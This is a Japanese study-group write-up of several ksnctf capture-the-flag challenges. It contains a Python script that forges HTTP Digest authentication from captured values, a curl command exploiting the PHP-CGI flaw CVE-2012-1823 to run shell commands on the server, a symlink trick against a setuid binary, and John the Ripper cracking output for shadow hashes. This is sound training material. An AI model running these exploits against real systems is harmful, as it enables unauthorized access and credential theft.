第3回CTF勉強会

ksnctfの9, 11, 12, 13が課題で, 14が演習問題である. 11が難しいらしい

9 Digest is secure!

pcapファイルをダウンロードして, wiresharkでhttp通信をフィルタリングしてみると, digest認証の通信が行われている. ちなみにDigest認証とは、

Digest認証とは、Basic認証と同じくApacheで利用できるアクセス制限です。ユーザーIDとパスワードを求める点までは全く同じですが、入力されたユーザーIDとパスワードをハッシュ関数であるMD5を用いて解析されにくい状態で送信する仕組みです。

しかし、Basic認証と比べて後発の機能なので、かつては一部対応していないブラウザがありました。現在ではほとんどのブラウザに対応しているため、Basic認証ではなくDigest認証が使われるケースが増えています。

レンタルサーバー比較なび

ここで, 認証の際に渡しているパラメータをみてみる.

  • Digest username=”q9″
  • realm=”secret”
  • nonce=”bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b”
  • uri=”/~q9/”
  • algorithm=MD5
  • response=”c3077454ecf09ecef1d6c1201038cfaf”
  • qop=auth
  • nc=00000001
  • cnonce=”9691c249745d94fc”

これから以下のようにresponseが作成される.

A1 = ユーザ名 ":" realm ":" パスワード
A2 = HTTPのメソッド ":" コンテンツのURI
response = MD5( MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2) )

これをみると. パスワードがわからなくてもA1さえわかればサーバーから送られてきたnonceを元にresponseを生成できることがわかる. ここで, A1を得るためにresponseを解読する. MD5は脆弱性が存在し鍵長も短いので復号ツールで復号できてしまう.

追記

後のパケットにA1が帰ってきているので, ツールを使わなくて良い.

Qiita:暗号化とハッシュ化に関する基本的な事柄まとめ
Hash Toolkit: 復号ツール

c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099c

この結果A1がわかった. ちなみにA1は解読できなかったのでパスワードがわからない. しかし他の全てのパラメータがわかるのでresponseを生成できる.

以下のスクリプトでflagをgetした.


# coding: UTF-8
import hashlib
import urllib.error
import urllib.request
url = 'http://ksnctf.sweetduet.info:10080/~q9/flag.html'
username = "q9"
realm = "secret"
nonce = ""
uri = "/~q9/flag.html"
algorithm = "MD5"
response = ""
qop = "auth"
nc = "00000001"
cnonce = "9691c249745d94fc"
md5a1 = "c627e19450db746b739f41b64097d449"
a2 = 'GET:' + uri
def getNonce():
    try:
        data = urllib.request.urlopen(url)
        html = data.read()
    except urllib.error.HTTPError as e:
        nonce = e.info()['WWW-Authenticate'].split('"')[3]
        return nonce
def genMD5(str):
    return hashlib.md5(str.encode()).hexdigest()
def genResponse(nonce):
    response = genMD5(md5a1 + ':' + nonce + ':' + nc + ':' +
                      cnonce + ':' + qop + ':' + genMD5(a2))
    return response
def genAuthorized(nonce, response):
    authorized = 'Digest username="' + username + '", realm="' + realm + '", nonce="' + nonce + '",uri="' + uri + \
        '", algorithm=' + algorithm + ', response="' + response + \
        '", qop=' + qop + ', nc=' + nc + ', cnonce="' + cnonce + '"'
    return authorized
def main():
    nonce = getNonce()
    print("nonce = " + str(nonce))
    response = genResponse(nonce)
    auth = genAuthorized(nonce, response)
    header = {'Authorization': auth}
    req = urllib.request.Request(url, None, header)
    try:
        data = urllib.request.urlopen(req)
        html = data.read()
        print(html)
    except urllib.error.HTTPError as e:
        print(e.code)
        print(e.info())
if __name__ == '__main__':
    main()

11 Riddle

exeファイルをwindows環境で実行する. 稲垣さんからもらった仮想環境で実行してみた. Visual C++ の再頒布可能パッケージをインストールしないと動かなかった. 実行するとクイズアプリが出てきて質問に答えていくと4問目でフラグがなにかと聞かれる. そこでIDAを用いて解析を行う.

IDAは実行ファイルの解析を行うツールである. デバッガのようにアセンブリの命令を見ることもできるし, Graph Viewを使ってコードをある程度のまとまりにしてブロックごとに見ることもできる. ブロックに名前をつけて遷移を追うこともできてめちゃめちゃ便利だと思った. 切り替えはspaceキーでできる.

まず, 正解不正解の分岐点である”wrong”でテキスト検索をかけるとあるブロックに分岐しているところがある. ここに飛ぶ道が5本示されていてそこでflagかどうかを判定していると予想できる. そこで, そのブロックに飛ぶ処理全てにブレークポイントを仕掛けてから処理を実行し, 変数の中身をのぞいて見る.

4問目を適当に回答した後, “wrong”に飛ぶ前にブレークポイントで入力文字列の数(eax)と0x15が比較されていることがわかるのでflagの文字数は21文字であることがわかる. そこで, 21文字適当に入力してブレークポイントを見ると, ある値と比較している.

リバースエンジニアリングでは, FLAGをそのまま格納しているとテキスト検索でヒットしてしまうので, ある値とある値のXORをとってFLAGを生成する場合が多い. そこでXORが入ったサブルーチンを探すのだが,

  • オペランドのレジスタがどちらも同じ→そのレジスタの値を0にしているだけ
  • オペランドにスタックの位置を表すレジスタ(esp, ebp)が含まれている→サブルーチンの補正とかのための処理

なので無視して調べるらしい. ここらへんでお手上げ. 詳しくは…

12 Hypertext Preprocessor

URLにアクセスすると, 以下の数字が見れる.

2012:1823:20:19:05:05:08:09:29:58:17:34:32

ここで, 2012:1823とはCVE (Common Vulnerabilities and Exposures)番号になっている. CVEとは,

共通脆弱性識別子CVE(Common Vulnerabilities and Exposures)(*1)は、個別製品中の脆弱性を対象として、米国政府の支援を受けた非営利団体のMITRE社(*2)が採番している識別子です。脆弱性検査ツールや脆弱性対策情報提供サービスの多くがCVEを利用しています。

IPA

この脆弱性はリモートからスクリプトの実行を許す脆弱性であり, これを使ってphpのソースを読む. 以下のリンクにアクセスする.

http://ctfq.sweetduet.info:10080/~q12/index.php?-s

このリンクは-sオプションを付けることでソースコードを内容を表示できる.
表示した結果, // Flag is in this directory.の文字があるので, lsコマンドを実行してみる. 以下のコマンドを実行する.

curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -al'); ?>"

これは, -dオプションを付けることでphp.iniのディレクティブを外部から指定できる. また,

allow_url_include=On
auto_prepend_file=php://input

を指定することで, include するファイルをURL指定でリモートから読み出すことを許可し, POSTパラメータとして送信した内容をPHPスクリプトとして実行する意味がある. そのスクリプトを<?php system('ls -al'); ?>とすることで, カレントディレクトリの中身が見れる. みた結果, flagっぽいファイルがあるのでそれをcatすればflagゲット.

13 Proverb

書いてある通りにsshしてホームディレクトリの中身をみてみると, 以下のファイルがある.

[q13@localhost ~]$ ll
合計 28
-r-------- 4 q13a q13a    22  6月  1 05:21 2012 flag.txt
---s--x--x 4 q13a q13a 14439  6月  1 04:59 2012 proverb
-r--r--r-- 2 root root   755  6月  1 04:58 2012 proverb.txt
-r--r--r-- 1 root root   151  6月  1 04:48 2012 readme.txt

proverbという実行ファイルを実行すると, proverb.txtの中身を出力する. よってflag.txtを読み込ませて出力するようにしたい. ここで, シンボリックリンクを使う. シンボリックリンクとは,

OSのファイルシステムの機能の一つで、特定のファイルやディレクトリを指し示す別のファイルを作成し、それを通じて本体を参照できるようにする仕組み。

Qiita: シンボリックリンク設定方法

/tmp/fugaで以下のコマンドを実行する.

ln -s /home/q13/proverb proverb
ln -s /home/q13/flag.txt proverb.txt
./proverb

これで, flag.txtを指し示すproverb.txtというファイルが作成されて, flag.txtの中身が出力される.

14 John

以下の情報が21行存在している.

user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7:::

これは暗号化されたパスワードに関係する情報である. user00がログイン名であり, $6$がSHA512のHash方式であることを示している. これをJohn the Ripperというツールを用いてパスワードをクラッキングする.

sawa@scorpio:~/john % john --wordlist=dic users
Loaded 22 password hashes with 22 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
floating         (user13)
ADDITIONAL       (user02)
HELD             (user10)
ultimate         (user08)
zero             (user19)
opinion          (user15)
karaoke          (user17)
SPIRITS          (user06)
QUESTION         (user16)
GENDER           (user03)
__________       (user04)
DELIGHT          (user20)
FREQUENT         (user00)
JENNY            (user09)
SUFFERS          (user11)
strange          (user18)
zecht            (user14)
independent      (user07)
applies          (user05)
LATTER           (user01)
LEAVE            (user12)
21g 0:00:00:59 100% 0.3535g/s 51.21p/s 571.1c/s 571.1C/s gravekeeper..ADMIRATION
Use the "--show" option to display all of the cracked passwords reliably
Session completed
sawa@scorpio:~/john % john --show users
user00:FREQUENT:15491:0:99999:7:::
user01:LATTER:15491:0:99999:7:::
user02:ADDITIONAL:15491:0:99999:7:::
user03:GENDER:15491:0:99999:7:::
user04:__________:15491:0:99999:7:::
user05:applies:15491:0:99999:7:::
user06:SPIRITS:15491:0:99999:7:::
user07:independent:15491:0:99999:7:::
user08:ultimate:15491:0:99999:7:::
user09:JENNY:15491:0:99999:7:::
user10:HELD:15491:0:99999:7:::
user11:SUFFERS:15491:0:99999:7:::
user12:LEAVE:15491:0:99999:7:::
user13:floating:15491:0:99999:7:::
user14:zecht:15491:0:99999:7:::
user15:opinion:15491:0:99999:7:::
user16:QUESTION:15491:0:99999:7:::
user17:karaoke:15491:0:99999:7:::
user18:strange:15491:0:99999:7:::
user19:zero:15491:0:99999:7:::
user20:DELIGHT:15491:0:99999:7:::

こんな感じで辞書があるとツールでパスワードを探索できることがわかった.

感想

リバーシングが案の定難しかった. 最後のJohn the ripperを使った辞書攻撃なんかは面白かった. あとシンボリックリンクの発想がなかなか難しいと思った.